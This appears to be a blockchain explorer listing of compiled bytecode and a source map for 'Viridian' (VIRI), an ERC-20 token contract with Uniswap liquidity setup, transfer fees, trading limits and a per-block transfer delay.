0182016115fb576115fb611424565b5060010190565b818103818111156102d1576102d1611424565b5f8261162f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116985784516001600160a01b031683529383019391830191600101611673565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220adff5f14b0add8b259e5a747a997a93d3b13ae27ad4d1c73d2a33404fa47409164736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b411461021e578063a9059cbb1461024a578063dd62ed3e14610269578063fd5bfb54146102ad575f80fd5b8063715018a6146101ce578063751039fc146101e45780638da5cb5b146101f8575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260088152672b34b934b234b0b760c11b60208201525b6040516101069190611307565b60405180910390f35b34801561011a575f80fd5b5061012e61012936600461136a565b6102c1565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d7565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a366004611394565b6102f7565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b43660046113d2565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e261035e565b005b3480156101ef575f80fd5b506101e26103d8565b348015610203575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610229575f80fd5b506040805180820190915260048152635649524960e01b60208201526100f9565b348015610255575f80fd5b5061012e61026436600461136a565b610493565b348015610274575f80fd5b506101526102833660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b8575f80fd5b506101e261049f565b5f6102cd3384846107ea565b5060015b92915050565b5f6102e46009600a611518565b6102f2906305f5e100611526565b905090565b5f61030384848461090d565b610354843361034f856040518060600160405280602881526020016116ba602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f08565b6107ea565b5060019392505050565b5f546001600160a01b031633146103905760405162461bcd60e51b81526004016103879061153d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104015760405162461bcd60e51b81526004016103879061153d565b61040d6009600a611518565b61041b906305f5e100611526565b60115561042a6009600a611518565b610438906305f5e100611526565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104726009600a611518565b610480906305f5e100611526565b60405190815260200160405180910390a1565b5f6102cd33848461090d565b5f546001600160a01b031633146104c85760405162461bcd60e51b81526004016103879061153d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105119030906105036009600a611518565b61034f906305f5e100611526565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610561573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105859190611572565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106089190611572565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610652573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106769190611572565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306106bd816001600160a01b03165f9081526001602052604090205490565b5f806106d05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610736573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075b919061158d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d491906115b8565b506016805460ff60a81b1916600160a81b179055565b6001600160a01b03831661084c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610387565b6001600160a01b0382166108ad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610387565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109715760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610387565b6001600160a01b0382166109d35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610387565b5f8111610a345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610387565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7657506001600160a01b0384165f9081526003602052604090205460ff16155b15610d9a57610a986064610a92610a8b610f40565b8690610f7d565b90611002565b60055490925060ff1615610b7e576015546001600160a01b03858116911614801590610ad257506016546001600160a01b03858116911614155b15610b7e57325f908152600460205260409020544311610b6c5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610387565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610ba957506015546001600160a01b03858116911614155b8015610bcd57506001600160a01b0384165f9081526003602052604090205460ff16155b15610cc957601154831115610c245760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785472616e73416d742e000000000000006044820152606401610387565b60125483610c46866001600160a01b03165f9081526001602052604090205490565b610c5091906115d7565b1115610c9e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610387565b60108054905f610cad836115ea565b9190505550600f546010541115610cc9576005805460ff191690555b6016546001600160a01b038581169116148015610cef57506001600160a01b0385163014155b15610d0757610d046064610a92610a8b611043565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d3d57506016546001600160a01b038681169116145b8015610d525750601654600160a81b900460ff165b8015610d5f575060135484115b15610d9457601354811115610d8b57610d8b610d8685610d8184601454611079565b611079565b61108d565b610d94476111fd565b50610dca565b6005546001600160a01b03610100909104811690861603610dca57610dc783610d81600a54601454611079565b90505b8115610e4257305f90815260016020526040902054610de9908361123c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e399086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e64908261129a565b6001600160a01b0386165f90815260016020526040902055610ea7610e89848461129a565b6001600160a01b0386165f908152600160205260409020549061123c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ef0868661129a565b60405190815260200160405180910390a35050505050565b5f8184841115610f2b5760405162461bcd60e51b81526004016103879190611307565b505f610f378486611602565b95945050505050565b5f60085460105411610f53575060065490565b600854601054118015610f6a5750600c5460105411155b15610f765750600a5490565b50600d5490565b5f825f03610f8c57505f6102d1565b5f610f978385611526565b905082610fa48583611615565b14610ffb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610387565b9392505050565b5f610ffb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112db565b5f60085460105411611056575060075490565b60095460105411801561106d5750600c5460105411155b15610f765750600b5490565b5f8183116110875782610ffb565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d3576110d3611634565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114e9190611572565b8160018151811061116157611161611634565b6001600160a01b03928316602091820292909201015260155461118791309116846107ea565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bf9085905f90869030904290600401611648565b5f604051808303815f87803b1580156111d6575f80fd5b505af11580156111e8573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611238573d5f803e3d5ffd5b5050565b5f8061124883856115d7565b905083811015610ffb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610387565b5f610ffb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f08565b5f81836112fb5760405162461bcd60e51b81526004016103879190611307565b505f610f378486611615565b5f602080835283518060208501525f5b8181101561133357858101830151858201604001528201611317565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611367575f80fd5b50565b5f806040838503121561137b575f80fd5b823561138681611353565b946020939093013593505050565b5f805f606084860312156113a6575f80fd5b83356113b181611353565b925060208401356113c181611353565b929592945050506040919091013590565b5f602082840312156113e2575f80fd5b8135610ffb81611353565b5f80604083850312156113fe575f80fd5b823561140981611353565b9150602083013561141981611353565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561147257815f190482111561145857611458611424565b8085161561146557918102915b93841c939080029061143d565b509250929050565b5f82611488575060016102d1565b8161149457505f6102d1565b81600181146114aa57600281146114b4576114d0565b60019150506102d1565b60ff8411156114c5576114c5611424565b50506001821b6102d1565b5060208310610133831016604e8410600b84101617156114f3575081810a6102d1565b6114fd8383611438565b805f190482111561151057611510611424565b029392505050565b5f610ffb60ff84168361147a565b80820281158282048414176102d1576102d1611424565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611582575f80fd5b8151610ffb81611353565b5f805f6060848603121561159f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115c8575f80fd5b81518015158114610ffb575f80fd5b808201808211156102d1576102d1611424565b5f600182016115fb576115fb611424565b5060010190565b818103818111156102d1576102d1611424565b5f8261162f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116985784516001600160a01b031683529383019391830191600101611673565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220adff5f14b0add8b259e5a747a997a93d3b13ae27ad4d1c73d2a33404fa47409164736f6c63430008160033

Deployed Bytecode Sourcemap

3598:8289:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5643:83;;;;;;;;;;-1:-1:-1;5713:5:0;;;;;;;;;;;;-1:-1:-1;;;5713:5:0;;;;5643:83;;;;;;;:::i;:::-;;;;;;;;6476:161;;;;;;;;;;-1:-1:-1;6476:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6476:161:0;1023:187:1;5920:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5920:95:0;1215:177:1;6645:313:0;;;;;;;;;;-1:-1:-1;6645:313:0;;;;;:::i;:::-;;:::i;5829:83::-;;;;;;;;;;-1:-1:-1;5829:83:0;;4547:1;2000:36:1;;1988:2;1973:18;5829:83:0;1858:184:1;6023:119:0;;;;;;;;;;-1:-1:-1;6023:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6116:18:0;6089:7;6116:18;;;:9;:18;;;;;;;6023:119;2679:148;;;;;;;;;;;;;:::i;:::-;;11650:197;;;;;;;;;;;;;:::i;2465:79::-;;;;;;;;;;-1:-1:-1;2503:7:0;2530:6;2465:79;;-1:-1:-1;;;;;2530:6:0;;;2445:51:1;;2433:2;2418:18;2465:79:0;2299:203:1;5734:87:0;;;;;;;;;;-1:-1:-1;5806:7:0;;;;;;;;;;;;-1:-1:-1;;;5806:7:0;;;;5734:87;;6150:167;;;;;;;;;;-1:-1:-1;6150:167:0;;;;;:::i;:::-;;:::i;6325:143::-;;;;;;;;;;-1:-1:-1;6325:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6433:18:0;;;6406:7;6433:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6325:143;11058:584;;;;;;;;;;;;;:::i;6476:161::-;6551:4;6568:39;300:10;6591:7;6600:6;6568:8;:39::i;:::-;-1:-1:-1;6625:4:0;6476:161;;;;;:::o;5920:95::-;5973:7;4602:13;4547:1;4602:2;:13;:::i;:::-;4590:25;;:9;:25;:::i;:::-;5993:14;;5920:95;:::o;6645:313::-;6743:4;6760:36;6770:6;6778:9;6789:6;6760:9;:36::i;:::-;6807:121;6816:6;300:10;6838:89;6876:6;6838:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6838:19:0;;;;;;:11;:19;;;;;;;;300:10;6838:33;;;;;;;;;;:37;:89::i;:::-;6807:8;:121::i;:::-;-1:-1:-1;6946:4:0;6645:313;;;;;:::o;2679:148::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;;;;;;;;;2786:1:::1;2770:6:::0;;2749:40:::1;::::0;-1:-1:-1;;;;;2770:6:0;;::::1;::::0;2749:40:::1;::::0;2786:1;;2749:40:::1;2817:1;2800:19:::0;;-1:-1:-1;;;;;;2800:19:0::1;::::0;;2679:148::o;11650:197::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;4602:13:::1;4547:1;4602:2;:13;:::i;:::-;4590:25;::::0;:9:::1;:25;:::i;:::-;11703:12;:22:::0;4602:13:::1;4547:1;4602:2;:13;:::i;:::-;4590:25;::::0;:9:::1;:25;:::i;:::-;11736:16;:24:::0;11771:19:::1;:25:::0;;-1:-1:-1;;11771:25:0::1;::::0;;11812:27:::1;4602:13;4547:1;4602:2;:13;:::i;:::-;4590:25;::::0;:9:::1;:25;:::i;:::-;11812:27;::::0;1361:25:1;;;1349:2;1334:18;11812:27:0::1;;;;;;;11650:197::o:0;6150:167::-;6228:4;6245:42;300:10;6269:9;6280:6;6245:9;:42::i;11058:584::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;11113:15:::1;:80:::0;;-1:-1:-1;;;;;;11113:80:0::1;11150:42;11113:80:::0;;::::1;::::0;;;11204:58:::1;::::0;11221:4:::1;::::0;4602:13:::1;4547:1;4602:2;:13;:::i;:::-;4590:25;::::0;:9:::1;:25;:::i;11204:58::-;11307:15;;;;;;;;;-1:-1:-1::0;;;;;11307:15:0::1;-1:-1:-1::0;;;;;11307:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11289:55:0::1;;11353:4;11360:15;;;;;;;;;-1:-1:-1::0;;;;;11360:15:0::1;-1:-1:-1::0;;;;;11360:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11289:94;::::0;-1:-1:-1;;;;;;11289:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;11289:94:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;11289:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11273:13;:110:::0;;-1:-1:-1;;;;;11273:110:0;;::::1;-1:-1:-1::0;;;;;;11273:110:0;;::::1;;::::0;;11394:15:::1;::::0;::::1;:31;11433:21;11464:4;11470:24;11464:4:::0;-1:-1:-1;;;;;6116:18:0;6089:7;6116:18;;;:9;:18;;;;;;;6023:119;11470:24:::1;11495:1;11497::::0;11499:7:::1;2503::::0;2530:6;-1:-1:-1;;;;;2530:6:0;;2465:79;11499:7:::1;11394:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11394:129:0;;;-1:-1:-1;;;;;5867:15:1;;;11394:129:0::1;::::0;::::1;5849:34:1::0;5899:18;;;5892:34;;;;5942:18;;;5935:34;;;;5985:18;;;5978:34;6049:15;;;6028:19;;;6021:44;11507:15:0::1;6081:19:1::0;;;6074:35;5783:19;;11394:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11541:13:0::1;::::0;11572:15:::1;::::0;11534:71:::1;::::0;-1:-1:-1;;;11534:71:0;;-1:-1:-1;;;;;11572:15:0;;::::1;11534:71;::::0;::::1;6605:51:1::0;-1:-1:-1;;6672:18:1;;;6665:34;11541:13:0;::::1;::::0;-1:-1:-1;11534:29:0::1;::::0;6578:18:1;;11534:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11616:11:0::1;:18:::0;;-1:-1:-1;;;;11616:18:0::1;-1:-1:-1::0;;;11616:18:0::1;::::0;;11058:584::o;6966:335::-;-1:-1:-1;;;;;7059:19:0;;7051:68;;;;-1:-1:-1;;;7051:68:0;;7194:2:1;7051:68:0;;;7176:21:1;7233:2;7213:18;;;7206:30;7272:34;7252:18;;;7245:62;-1:-1:-1;;;7323:18:1;;;7316:34;7367:19;;7051:68:0;6992:400:1;7051:68:0;-1:-1:-1;;;;;7138:21:0;;7130:68;;;;-1:-1:-1;;;7130:68:0;;7599:2:1;7130:68:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:34;7657:18;;;7650:62;-1:-1:-1;;;7728:18:1;;;7721:32;7770:19;;7130:68:0;7397:398:1;7130:68:0;-1:-1:-1;;;;;7209:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7261:32;;1361:25:1;;;7261:32:0;;1334:18:1;7261:32:0;;;;;;;6966:335;;;:::o;7309:2401::-;-1:-1:-1;;;;;7397:18:0;;7389:68;;;;-1:-1:-1;;;7389:68:0;;8002:2:1;7389:68:0;;;7984:21:1;8041:2;8021:18;;;8014:30;8080:34;8060:18;;;8053:62;-1:-1:-1;;;8131:18:1;;;8124:35;8176:19;;7389:68:0;7800:401:1;7389:68:0;-1:-1:-1;;;;;7476:16:0;;7468:64;;;;-1:-1:-1;;;7468:64:0;;8408:2:1;7468:64:0;;;8390:21:1;8447:2;8427:18;;;8420:30;8486:34;8466:18;;;8459:62;-1:-1:-1;;;8537:18:1;;;8530:33;8580:19;;7468:64:0;8206:399:1;7468:64:0;7560:1;7551:6;:10;7543:64;;;;-1:-1:-1;;;7543:64:0;;8812:2:1;7543:64:0;;;8794:21:1;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:1;;;8934:39;8990:19;;7543:64:0;8610:405:1;7543:64:0;-1:-1:-1;;;;;7689:24:0;;7618:17;7689:24;;;:18;:24;;;;;;7667:6;;7689:24;;7688:25;:52;;;;-1:-1:-1;;;;;;7718:22:0;;;;;;:18;:22;;;;;;;;7717:23;7688:52;7684:1667;;;7769:32;7797:3;7769:23;7780:11;:9;:11::i;:::-;7769:6;;:10;:23::i;:::-;:27;;:32::i;:::-;7820:19;;7757:44;;-1:-1:-1;7820:19:0;;7816:447;;;7878:15;;-1:-1:-1;;;;;7864:30:0;;;7878:15;;7864:30;;;;:62;;-1:-1:-1;7912:13:0;;-1:-1:-1;;;;;7898:28:0;;;7912:13;;7898:28;;7864:62;7860:388;;;8008:9;7986:32;;;;:21;:32;;;;;;8021:12;-1:-1:-1;7952:206:0;;;;-1:-1:-1;;;7952:206:0;;9222:2:1;7952:206:0;;;9204:21:1;9261:2;9241:18;;;9234:30;9300:34;9280:18;;;9273:62;9371:34;9351:18;;;9344:62;-1:-1:-1;;;9422:19:1;;;9415:40;9472:19;;7952:206:0;9020:477:1;7952:206:0;8203:9;8181:32;;;;:21;:32;;;;;8216:12;8181:47;;7860:388;8291:13;;-1:-1:-1;;;;;8283:21:0;;;8291:13;;8283:21;:55;;;;-1:-1:-1;8322:15:0;;-1:-1:-1;;;;;8308:30:0;;;8322:15;;8308:30;;8283:55;:83;;;;-1:-1:-1;;;;;;8344:22:0;;;;;;:18;:22;;;;;;;;8342:24;8283:83;8279:438;;;8406:12;;8396:6;:22;;8388:60;;;;-1:-1:-1;;;8388:60:0;;9704:2:1;8388:60:0;;;9686:21:1;9743:2;9723:18;;;9716:30;9782:27;9762:18;;;9755:55;9827:18;;8388:60:0;9502:349:1;8388:60:0;8501:16;;8491:6;8475:13;8485:2;-1:-1:-1;;;;;6116:18:0;6089:7;6116:18;;;:9;:18;;;;;;;6023:119;8475:13;:22;;;;:::i;:::-;:42;;8467:81;;;;-1:-1:-1;;;8467:81:0;;10188:2:1;8467:81:0;;;10170:21:1;10227:2;10207:18;;;10200:30;10266:28;10246:18;;;10239:56;10312:18;;8467:81:0;9986:350:1;8467:81:0;8567:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8613:17;;8601:9;;:29;8597:105;;;8655:19;:27;;-1:-1:-1;;8655:27:0;;;8597:105;8742:13;;-1:-1:-1;;;;;8736:19:0;;;8742:13;;8736:19;:43;;;;-1:-1:-1;;;;;;8759:20:0;;8774:4;8759:20;;8736:43;8733:128;;;8812:33;8841:3;8812:24;8823:12;:10;:12::i;8812:33::-;8800:45;;8733:128;8918:4;8877:20;6116:18;;;:9;:18;;;;;;8944:6;;-1:-1:-1;;;8944:6:0;;;;8943:7;:30;;;;-1:-1:-1;8960:13:0;;-1:-1:-1;;;;;8954:19:0;;;8960:13;;8954:19;8943:30;:45;;;;-1:-1:-1;8977:11:0;;-1:-1:-1;;;8977:11:0;;;;8943:45;:75;;;;;9001:17;;8992:6;:26;8943:75;8939:285;;;9057:17;;9042:12;:32;9039:116;;;9093:62;9110:44;9114:6;9121:32;9125:12;9138:14;;9121:3;:32::i;:::-;9110:3;:44::i;:::-;9093:16;:62::i;:::-;9174:34;9186:21;9174:11;:34::i;:::-;7742:1493;7684:1667;;;9260:13;;-1:-1:-1;;;;;9260:13:0;;;;;;9244:30;;;;9241:110;;9302:49;9306:6;9313:37;9317:17;;9335:14;;9313:3;:37::i;9302:49::-;9289:62;;9241:110;9365:11;;9362:161;;9433:4;9415:24;;;;:9;:24;;;;;;:39;;9444:9;9415:28;:39::i;:::-;9408:4;9390:24;;;;:9;:24;;;;;;;:64;;;;9472:39;;-1:-1:-1;;;;;9472:39:0;;;;;;;9501:9;1361:25:1;;1349:2;1334:18;;1215:177;9472:39:0;;;;;;;;9362:161;-1:-1:-1;;;;;9549:15:0;;;;;;:9;:15;;;;;;:31;;9569:10;9549:19;:31::i;:::-;-1:-1:-1;;;;;9533:15:0;;;;;;:9;:15;;;;;:47;9605:40;9623:21;:6;9634:9;9623:10;:21::i;:::-;-1:-1:-1;;;;;9605:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9591:13:0;;;;;;;:9;:13;;;;;:54;;;;9661:41;;;9680:21;:6;9691:9;9680:10;:21::i;:::-;9661:41;;1361:25:1;;;1349:2;1334:18;9661:41:0;;;;;;;7378:2332;;7309:2401;;;:::o;1357:190::-;1443:7;1479:12;1471:6;;;;1463:29;;;;-1:-1:-1;;;1463:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1503:9:0;1515:5;1519:1;1515;:5;:::i;:::-;1503:17;1357:190;-1:-1:-1;;;;;1357:190:0:o;9718:312::-;9761:7;9797:15;;9784:9;;:28;9781:83;;-1:-1:-1;9835:17:0;;;9718:312::o;9781:83::-;9889:15;;9877:9;;:27;:60;;;;;9921:16;;9908:9;;:29;;9877:60;9874:115;;;-1:-1:-1;9960:17:0;;;9718:312::o;9874:115::-;-1:-1:-1;10007:15:0;;;9718:312::o;1555:246::-;1613:7;1637:1;1642;1637:6;1633:47;;-1:-1:-1;1667:1:0;1660:8;;1633:47;1690:9;1702:5;1706:1;1702;:5;:::i;:::-;1690:17;-1:-1:-1;1735:1:0;1726:5;1730:1;1690:17;1726:5;:::i;:::-;:10;1718:56;;;;-1:-1:-1;;;1718:56:0;;11038:2:1;1718:56:0;;;11020:21:1;11077:2;11057:18;;;11050:30;11116:34;11096:18;;;11089:62;-1:-1:-1;;;11167:18:1;;;11160:31;11208:19;;1718:56:0;10836:397:1;1718:56:0;1792:1;1555:246;-1:-1:-1;;;1555:246:0:o;1809:132::-;1867:7;1894:39;1898:1;1901;1894:39;;;;;;;;;;;;;;;;;:3;:39::i;10038:316::-;10082:7;10118:15;;10105:9;;:28;10102:84;;-1:-1:-1;10156:18:0;;;10038:316::o;10102:84::-;10211:16;;10199:9;;:28;:61;;;;;10244:16;;10231:9;;:29;;10199:61;10196:117;;;-1:-1:-1;10283:18:0;;;10038:316::o;10362:98::-;10419:7;10446:1;10444;:3;10443:9;;10451:1;10443:9;;;-1:-1:-1;10449:1:0;10362:98;-1:-1:-1;10362:98:0:o;10468:480::-;5216:6;:13;;-1:-1:-1;;;;5216:13:0;-1:-1:-1;;;5216:13:0;;;10567:16:::1;::::0;;10581:1:::1;10567:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10567:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10567:16:0::1;10543:40;;10612:4;10594;10599:1;10594:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10594:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10638:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10638:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10594:7;;10638:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10628:4;10633:1;10628:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10628:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10703:15:::1;::::0;10671:62:::1;::::0;10688:4:::1;::::0;10703:15:::1;10721:11:::0;10671:8:::1;:62::i;:::-;10744:15;::::0;:196:::1;::::0;-1:-1:-1;;;10744:196:0;;-1:-1:-1;;;;;10744:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10825:11;;10744:15:::1;::::0;10867:4;;10894::::1;::::0;10914:15:::1;::::0;10744:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5252:6:0;:14;;-1:-1:-1;;;;5252:14:0;;;-1:-1:-1;;;;10468:480:0:o;10956:94::-;11012:13;;:30;;:13;;;;-1:-1:-1;;;;;11012:13:0;;:30;;;;;;;;;;;;:13;:30;;;;;;;;;;;;;;;;;;;;;10956:94;:::o;1026:179::-;1084:7;;1116:5;1120:1;1116;:5;:::i;:::-;1104:17;;1145:1;1140;:6;;1132:46;;;;-1:-1:-1;;;1132:46:0;;12689:2:1;1132:46:0;;;12671:21:1;12728:2;12708:18;;;12701:30;12767:29;12747:18;;;12740:57;12814:18;;1132:46:0;12487:351:1;1213:136:0;1271:7;1298:43;1302:1;1305;1298:43;;;;;;;;;;;;;;;;;:3;:43::i;1949:189::-;2035:7;2070:12;2063:5;2055:28;;;;-1:-1:-1;;;2055:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2094:9:0;2106:5;2110:1;2106;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201